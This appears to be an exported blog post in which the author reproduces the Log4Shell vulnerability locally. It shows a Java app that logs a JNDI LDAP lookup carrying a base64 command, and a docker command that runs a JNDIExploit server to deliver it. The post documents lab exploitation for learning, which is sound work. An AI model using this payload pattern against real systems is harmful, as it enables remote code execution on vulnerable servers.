{"id":50,"date":"2022-02-22T06:44:07","date_gmt":"2022-02-22T06:44:07","guid":{"rendered":"http:\/\/box2411.temp.domains\/~vasselva\/?p=50"},"modified":"2022-02-25T23:49:54","modified_gmt":"2022-02-25T23:49:54","slug":"log4j-experiment","status":"publish","type":"post","link":"https:\/\/vasanthselvaraj.com\/?p=50","title":{"rendered":"Log4J Experiment"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\" id=\"introduction\">Introduction<\/h2>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-2\">\n<div class=\"wp-block-column is-layout-flow\">\n<p>Log4J is popular topic recently &#8211; Most of the apps are vulnerable for Log4J vulnerability. Below is my experiment locally exploiting the Log4J vulnerability.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-group is-layout-flow\">\n<p class=\"has-text-align-justify\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 7.68px) * 0.481), 18px);\"><\/p>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"vulnerable-codereference-https-www-lunasec-io-docs-blog-log4j-zero-day\">Vulnerable Code<\/h2>\n\n\n\n<p id=\"vulnerable-codereference-https-www-lunasec-io-docs-blog-log4j-zero-day\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 7.68px) * 0.481), 18px);\">Reference &#8211;&nbsp;<a href=\"https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day\/\">https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day\/<\/a><\/p>\n\n\n\n<div class=\"wp-block-jetpack-markdown\"><pre><code>package com.mycompany.app;\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\/**\nHello world!\n*\n*\/\npublic class App\n{\nstatic Logger log = LogManager.getLogger(App.class.getName());\npublic static void main( String[] args )\n{\nString username = args[0];\nSystem.out.println( &quot;Hello World\u2026.!&quot; );\nlog.error(&quot;Hello: &quot; + username);\nlog.error(&quot;X-Api-Verson: ${jndi:ldap:\/\/192.168.1.251:1389\/Basic\/Command\/Base64\/dG91Y2ggL3RtcC9wd25lZAo=}&quot;);\n}\n}\n<\/code><\/pre>\n<\/div>\n\n\n\n<p style=\"font-size:clamp(14px, 0.875rem + ((1vw - 7.68px) * 0.481), 18px);\">Compile the vulnerable code and get it ready to execute<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"run-the-exploitable-code-using-below-docker-command\">Run the exploitable code using below docker command<\/h3>\n\n\n\n<div class=\"wp-block-jetpack-markdown\"><pre><code>docker run --name jndi -p 8080:8080 -p 1389:1389 -e IP=192.168.1.251 mormoroth\/jndiexploit:v1\n<\/code><\/pre>\n<\/div>\n\n\n\n<p style=\"font-size:clamp(14px, 0.875rem + ((1vw - 7.68px) * 0.481), 18px);\">Change the IP address to your local IP address&#8230; Something like below on MAC&nbsp;<code>ifconfig | grep -b4 en0<\/code><\/p>\n\n\n\n<p style=\"font-size:clamp(14px, 0.875rem + ((1vw - 7.68px) * 0.481), 18px);\">LDAP and HTTP server started by exploitable code<\/p>\n\n\n\n<div class=\"wp-block-jetpack-markdown\"><pre><code>[+] LDAP Server Start Listening on 1389...\n[+] HTTP Server Start Listening on 8080...\n<\/code><\/pre>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"execute\">Execute<\/h2>\n\n\n\n<p style=\"font-size:clamp(14px, 0.875rem + ((1vw - 7.68px) * 0.481), 18px);\">Compile and execute the vuln. code . JNDI Params call the exploitable code which in turn send the Remote code execution<\/p>\n\n\n\n<div class=\"wp-block-group is-layout-flow\">\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-1-1024x128.png\" alt=\"\" class=\"wp-image-76\" width=\"690\" height=\"85\" srcset=\"https:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-1-1024x128.png 1024w, https:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-1-300x38.png 300w, https:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-1-768x96.png 768w, https:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-1-1536x192.png 1536w, https:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-1-2048x256.png 2048w\" sizes=\"(max-width: 690px) 100vw, 690px\" \/><\/figure>\n<\/div>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-2-1024x96.png\" alt=\"\" class=\"wp-image-77\" width=\"693\" height=\"64\" srcset=\"https:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-2-1024x96.png 1024w, https:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-2-300x28.png 300w, https:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-2-768x72.png 768w, https:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-2-1536x144.png 1536w, https:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-2-2048x192.png 2048w\" sizes=\"(max-width: 693px) 100vw, 693px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Introduction Log4J is popular topic recently &#8211; Most of the apps are vulnerable for Log4J vulnerability. Below is my experiment locally exploiting the Log4J vulnerability. Vulnerable Code Reference &#8211;&nbsp;https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day\/ Compile the vulnerable code and get it ready to execute Run the exploitable code using below docker command Change the IP address to your local IP&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_newsletter_tier_id":0},"categories":[1],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v21.8.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Log4J Experiment - Vasanth Selvaraj<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/vasanthselvaraj.com\/?p=50\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Log4J Experiment - Vasanth Selvaraj\" \/>\n<meta property=\"og:description\" content=\"Introduction Log4J is popular topic recently &#8211; Most of the apps are vulnerable for Log4J vulnerability. Below is my experiment locally exploiting the Log4J vulnerability. Vulnerable Code Reference &#8211;&nbsp;https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day\/ Compile the vulnerable code and get it ready to execute Run the exploitable code using below docker command Change the IP address to your local IP...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/vasanthselvaraj.com\/?p=50\" \/>\n<meta property=\"og:site_name\" content=\"Vasanth Selvaraj\" \/>\n<meta property=\"article:published_time\" content=\"2022-02-22T06:44:07+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-02-25T23:49:54+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-1-1024x128.png\" \/>\n<meta name=\"author\" content=\"VS\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"VS\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/vasanthselvaraj.com\/?p=50\",\"url\":\"https:\/\/vasanthselvaraj.com\/?p=50\",\"name\":\"Log4J Experiment - Vasanth Selvaraj\",\"isPartOf\":{\"@id\":\"https:\/\/box2411.temp.domains\/~vasselva\/#website\"},\"datePublished\":\"2022-02-22T06:44:07+00:00\",\"dateModified\":\"2022-02-25T23:49:54+00:00\",\"author\":{\"@id\":\"https:\/\/box2411.temp.domains\/~vasselva\/#\/schema\/person\/4f1389c368b6d56abbf122ef1ffddb0d\"},\"breadcrumb\":{\"@id\":\"https:\/\/vasanthselvaraj.com\/?p=50#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/vasanthselvaraj.com\/?p=50\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/vasanthselvaraj.com\/?p=50#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/box2411.temp.domains\/~vasselva\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Log4J Experiment\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/box2411.temp.domains\/~vasselva\/#website\",\"url\":\"https:\/\/box2411.temp.domains\/~vasselva\/\",\"name\":\"Vasanth Selvaraj\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/box2411.temp.domains\/~vasselva\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/box2411.temp.domains\/~vasselva\/#\/schema\/person\/4f1389c368b6d56abbf122ef1ffddb0d\",\"name\":\"VS\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/box2411.temp.domains\/~vasselva\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f363d6f3a44a96f83133417d14b78c63?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f363d6f3a44a96f83133417d14b78c63?s=96&d=mm&r=g\",\"caption\":\"VS\"},\"url\":\"https:\/\/vasanthselvaraj.com\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Log4J Experiment - Vasanth Selvaraj","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/vasanthselvaraj.com\/?p=50","og_locale":"en_US","og_type":"article","og_title":"Log4J Experiment - Vasanth Selvaraj","og_description":"Introduction Log4J is popular topic recently &#8211; Most of the apps are vulnerable for Log4J vulnerability. Below is my experiment locally exploiting the Log4J vulnerability. Vulnerable Code Reference &#8211;&nbsp;https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day\/ Compile the vulnerable code and get it ready to execute Run the exploitable code using below docker command Change the IP address to your local IP...","og_url":"https:\/\/vasanthselvaraj.com\/?p=50","og_site_name":"Vasanth Selvaraj","article_published_time":"2022-02-22T06:44:07+00:00","article_modified_time":"2022-02-25T23:49:54+00:00","og_image":[{"url":"http:\/\/vasanthselvaraj.com\/wp-content\/uploads\/2022\/02\/img-1-1024x128.png"}],"author":"VS","twitter_card":"summary_large_image","twitter_misc":{"Written by":"VS","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/vasanthselvaraj.com\/?p=50","url":"https:\/\/vasanthselvaraj.com\/?p=50","name":"Log4J Experiment - Vasanth Selvaraj","isPartOf":{"@id":"https:\/\/box2411.temp.domains\/~vasselva\/#website"},"datePublished":"2022-02-22T06:44:07+00:00","dateModified":"2022-02-25T23:49:54+00:00","author":{"@id":"https:\/\/box2411.temp.domains\/~vasselva\/#\/schema\/person\/4f1389c368b6d56abbf122ef1ffddb0d"},"breadcrumb":{"@id":"https:\/\/vasanthselvaraj.com\/?p=50#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/vasanthselvaraj.com\/?p=50"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/vasanthselvaraj.com\/?p=50#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/box2411.temp.domains\/~vasselva"},{"@type":"ListItem","position":2,"name":"Log4J Experiment"}]},{"@type":"WebSite","@id":"https:\/\/box2411.temp.domains\/~vasselva\/#website","url":"https:\/\/box2411.temp.domains\/~vasselva\/","name":"Vasanth Selvaraj","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/box2411.temp.domains\/~vasselva\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/box2411.temp.domains\/~vasselva\/#\/schema\/person\/4f1389c368b6d56abbf122ef1ffddb0d","name":"VS","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/box2411.temp.domains\/~vasselva\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f363d6f3a44a96f83133417d14b78c63?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f363d6f3a44a96f83133417d14b78c63?s=96&d=mm&r=g","caption":"VS"},"url":"https:\/\/vasanthselvaraj.com\/?author=1"}]}},"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/vasanthselvaraj.com\/index.php?rest_route=\/wp\/v2\/posts\/50"}],"collection":[{"href":"https:\/\/vasanthselvaraj.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vasanthselvaraj.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vasanthselvaraj.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vasanthselvaraj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=50"}],"version-history":[{"count":6,"href":"https:\/\/vasanthselvaraj.com\/index.php?rest_route=\/wp\/v2\/posts\/50\/revisions"}],"predecessor-version":[{"id":222,"href":"https:\/\/vasanthselvaraj.com\/index.php?rest_route=\/wp\/v2\/posts\/50\/revisions\/222"}],"wp:attachment":[{"href":"https:\/\/vasanthselvaraj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=50"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vasanthselvaraj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=50"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vasanthselvaraj.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=50"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}